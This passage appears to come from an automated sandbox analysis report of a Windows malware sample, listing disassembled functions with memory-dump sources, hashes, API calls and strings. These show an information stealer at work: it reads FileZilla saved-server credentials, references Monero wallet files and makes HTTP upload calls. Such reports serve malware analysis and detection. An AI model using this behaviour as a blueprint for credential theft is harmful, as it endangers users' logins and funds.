                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 8ac420b39913ae61a1ad705c179f535c4a9328dee334f2e18756432b4663f478
                                      • Instruction ID: 56d15c041a8b11c31bc76c05474057ad9317f4e658e93a633d67276a3f8cfb63
                                      • Opcode Fuzzy Hash: 8ac420b39913ae61a1ad705c179f535c4a9328dee334f2e18756432b4663f478
                                      • Instruction Fuzzy Hash: FB414AF3A08214ABE30C6A28DC5677AF7D5EF90350F2A853DE6C693380ED7858058386
                                      Function 00666799 Relevance: .1, Instructions: 131COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 2a8b669df8d736d86e52b1f6831f1fee8e67c9cfb658995c3eff484ea6ea57f1
                                      • Instruction ID: 262e54794228a5a9ad63bd80da84602d58c8bbaa4e2f2699c2ebe203f97bf30c
                                      • Opcode Fuzzy Hash: 2a8b669df8d736d86e52b1f6831f1fee8e67c9cfb658995c3eff484ea6ea57f1
                                      • Instruction Fuzzy Hash: 93513C62E09BD589C7058B7584502EEBFB21FE6210F1E839ED4981F383C3755689D3E5
                                      Function 00939B4C Relevance: .1, Instructions: 123COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 44f134400bfb0ee4c43a81ad4c055929d1c37cae1e51d2636eccd19dfb181316
                                      • Instruction ID: de9f17089722c329b16389f2a5120272bf500d4d02c3ea347cae23a15a9f0822
                                      • Opcode Fuzzy Hash: 44f134400bfb0ee4c43a81ad4c055929d1c37cae1e51d2636eccd19dfb181316
                                      • Instruction Fuzzy Hash: C03137F3E082144BF318A929DC04777B6D69BD4321F2B823DDE8993784ED392D0542CA
                                      Function 006375A8 Relevance: .0, Instructions: 15COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: dffa8fe14fb17786e60520bf3c8c8ace1f347de8b7b0a65a7913e683934b358a
                                      • Instruction ID: 6f3579539133c16e82723237803b8971b03cd8b531f9f429ebb9f832563e04b3
                                      • Opcode Fuzzy Hash: dffa8fe14fb17786e60520bf3c8c8ace1f347de8b7b0a65a7913e683934b358a
                                      • Instruction Fuzzy Hash: 27D0C971A097118FC3688F1EF440546FAE8EBD8320715C53FA09EC3750C6B494418B54
                                      Function 00609AA0 Relevance: .0, Instructions: 15COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
                                      • Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
                                      • Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
                                      • Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90
                                      Function 006003B0 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 00608F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00608F9B
                                        • Part of subcall function 0060AC30: lstrcpy.KERNEL32(00000000,?), ref: 0060AC82
                                        • Part of subcall function 0060AC30: lstrcat.KERNEL32(00000000), ref: 0060AC92
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0060AAF6
                                        • Part of subcall function 005FA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005FA13C
                                        • Part of subcall function 005FA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005FA161
                                        • Part of subcall function 005FA110: LocalAlloc.KERNEL32(00000040,?), ref: 005FA181
                                        • Part of subcall function 005FA110: ReadFile.KERNEL32(000000FF,?,00000000,005F148F,00000000), ref: 005FA1AA
                                        • Part of subcall function 005FA110: LocalFree.KERNEL32(005F148F), ref: 005FA1E0
                                        • Part of subcall function 005FA110: CloseHandle.KERNEL32(000000FF), ref: 005FA1EA
                                        • Part of subcall function 00608FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00608FE2
                                      • GetProcessHeap.KERNEL32(00000000,000F423F,00610DBF,00610DBE,00610DBB,00610DBA), ref: 006004C2
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 006004C9
                                      • StrStrA.SHLWAPI(00000000,<Host>), ref: 006004E5
                                      • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00610DB7), ref: 006004F3
                                      • StrStrA.SHLWAPI(00000000,<Port>), ref: 0060052F
                                      • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00610DB7), ref: 0060053D
                                      • StrStrA.SHLWAPI(00000000,<User>), ref: 00600579
                                      • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00610DB7), ref: 00600587
                                      • StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 006005C3
                                      • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00610DB7), ref: 006005D5
                                      • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00610DB7), ref: 00600662
                                      • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00610DB7), ref: 0060067A
                                      • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00610DB7), ref: 00600692
                                      • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00610DB7), ref: 006006AA
                                      • lstrcat.KERNEL32(?,browser: FileZilla), ref: 006006C2
                                      • lstrcat.KERNEL32(?,profile: null), ref: 006006D1
                                      • lstrcat.KERNEL32(?,url: ), ref: 006006E0
                                      • lstrcat.KERNEL32(?,00000000), ref: 006006F3
                                      • lstrcat.KERNEL32(?,00611770), ref: 00600702
                                      • lstrcat.KERNEL32(?,00000000), ref: 00600715
                                      • lstrcat.KERNEL32(?,00611774), ref: 00600724
                                      • lstrcat.KERNEL32(?,login: ), ref: 00600733
                                      • lstrcat.KERNEL32(?,00000000), ref: 00600746
                                      • lstrcat.KERNEL32(?,00611780), ref: 00600755
                                      • lstrcat.KERNEL32(?,password: ), ref: 00600764
                                      • lstrcat.KERNEL32(?,00000000), ref: 00600777
                                      • lstrcat.KERNEL32(?,00611790), ref: 00600786
                                      • lstrcat.KERNEL32(?,00611794), ref: 00600795
                                      • lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00610DB7), ref: 006007EE
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
                                      • String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
                                      • API String ID: 1942843190-555421843
                                      • Opcode ID: ebe3861569f497ed446ee1ca867cbf86c9f9926e824ccc4fc31c054d7519c6d3
                                      • Instruction ID: 2377fffcf39e7b1da504d1af2c7911485432e5a440e78be5ab4d001522978ad4
                                      • Opcode Fuzzy Hash: ebe3861569f497ed446ee1ca867cbf86c9f9926e824ccc4fc31c054d7519c6d3
                                      • Instruction Fuzzy Hash: CDD11B72950208ABDB48FBF0DD96EEFB73AAF14340F448558F102A61D1EF74AA44CB65
                                      Function 005F59B0 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0060AAF6
                                        • Part of subcall function 005F4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005F4889
                                        • Part of subcall function 005F4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 005F4899
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                      • InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005F5A48
                                      • StrCmpCA.SHLWAPI(?,00F4FD10), ref: 005F5A63
                                      • InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005F5BE3
                                      • lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00F4FC60,00000000,?,00F4EE30,00000000,?,00611B4C), ref: 005F5EC1
                                      • lstrlen.KERNEL32(00000000), ref: 005F5ED2
                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 005F5EE3
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 005F5EEA
                                      • lstrlen.KERNEL32(00000000), ref: 005F5EFF
                                      • lstrlen.KERNEL32(00000000), ref: 005F5F28
                                      • lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005F5F41
                                      • lstrlen.KERNEL32(00000000,?,?), ref: 005F5F6B
                                      • HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 005F5F7F
                                      • InternetReadFile.WININET(00000000,?,000000C7,?), ref: 005F5F9C
                                      • InternetCloseHandle.WININET(00000000), ref: 005F6000
                                      • InternetCloseHandle.WININET(00000000), ref: 005F600D
                                      • HttpOpenRequestA.WININET(00000000,00F4FC10,?,00F4F4E8,00000000,00000000,00400100,00000000), ref: 005F5C48
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                        • Part of subcall function 0060AC30: lstrcpy.KERNEL32(00000000,?), ref: 0060AC82
                                        • Part of subcall function 0060AC30: lstrcat.KERNEL32(00000000), ref: 0060AC92
                                      • InternetCloseHandle.WININET(00000000), ref: 005F6017
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
                                      • String ID: "$"$------$------$------
                                      • API String ID: 874700897-2180234286
                                      • Opcode ID: 1e517d8a1a53f8957d3c310aaa6dae0b55ab96a31be7f7fee2a3974be52cc16a
                                      • Instruction ID: 4cdb8a428392a1c9f96f83cebd658336e6e5fb71dfbbc9e70cd1f298b9d99a8e
                                      • Opcode Fuzzy Hash: 1e517d8a1a53f8957d3c310aaa6dae0b55ab96a31be7f7fee2a3974be52cc16a
                                      • Instruction Fuzzy Hash: E112CA71960218ABDB59FBE0DCA5FEFB37ABF14740F404599B106620D1EF702A88CB59
                                      Function 005FCFF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                        • Part of subcall function 00608CF0: GetSystemTime.KERNEL32(00610E1B,00F4EF50,006105B6,?,?,005F13F9,?,0000001A,00610E1B,00000000,?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 00608D16
                                        • Part of subcall function 0060AC30: lstrcpy.KERNEL32(00000000,?), ref: 0060AC82
                                        • Part of subcall function 0060AC30: lstrcat.KERNEL32(00000000), ref: 0060AC92
                                      • CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005FD083
                                      • GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 005FD1C7
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 005FD1CE
                                      • lstrcat.KERNEL32(?,00000000), ref: 005FD308
                                      • lstrcat.KERNEL32(?,00611570), ref: 005FD317
                                      • lstrcat.KERNEL32(?,00000000), ref: 005FD32A
                                      • lstrcat.KERNEL32(?,00611574), ref: 005FD339
                                      • lstrcat.KERNEL32(?,00000000), ref: 005FD34C
                                      • lstrcat.KERNEL32(?,00611578), ref: 005FD35B
                                      • lstrcat.KERNEL32(?,00000000), ref: 005FD36E
                                      • lstrcat.KERNEL32(?,0061157C), ref: 005FD37D
                                      • lstrcat.KERNEL32(?,00000000), ref: 005FD390
                                      • lstrcat.KERNEL32(?,00611580), ref: 005FD39F
                                      • lstrcat.KERNEL32(?,00000000), ref: 005FD3B2
                                      • lstrcat.KERNEL32(?,00611584), ref: 005FD3C1
                                      • lstrcat.KERNEL32(?,00000000), ref: 005FD3D4
                                      • lstrcat.KERNEL32(?,00611588), ref: 005FD3E3
                                        • Part of subcall function 0060AB30: lstrlen.KERNEL32(005F4F55,?,?,005F4F55,00610DDF), ref: 0060AB3B
                                        • Part of subcall function 0060AB30: lstrcpy.KERNEL32(00610DDF,00000000), ref: 0060AB95
                                      • lstrlen.KERNEL32(?), ref: 005FD42A
                                      • lstrlen.KERNEL32(?), ref: 005FD439
                                        • Part of subcall function 0060AD80: StrCmpCA.SHLWAPI(00000000,00611568,005FD2A2,00611568,00000000), ref: 0060AD9F
                                      • DeleteFileA.KERNEL32(00000000), ref: 005FD4B4
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
                                      • String ID:
                                      • API String ID: 1956182324-0
                                      • Opcode ID: 40648317805c8f3800915526077813a99b70d3b686101e4d80220d39f61f07d8
                                      • Instruction ID: aa8b57586e01af61bc861c9d113008438163307941bc3370b5e4438973498f1e
                                      • Opcode Fuzzy Hash: 40648317805c8f3800915526077813a99b70d3b686101e4d80220d39f61f07d8
                                      • Instruction Fuzzy Hash: 42E10C71950208ABCB48FBE0DD96EEF773ABF54341F504558F106660E1EF31AA48CB6A
                                      Function 005FCA90 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 0060AC30: lstrcpy.KERNEL32(00000000,?), ref: 0060AC82
                                        • Part of subcall function 0060AC30: lstrcat.KERNEL32(00000000), ref: 0060AC92
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
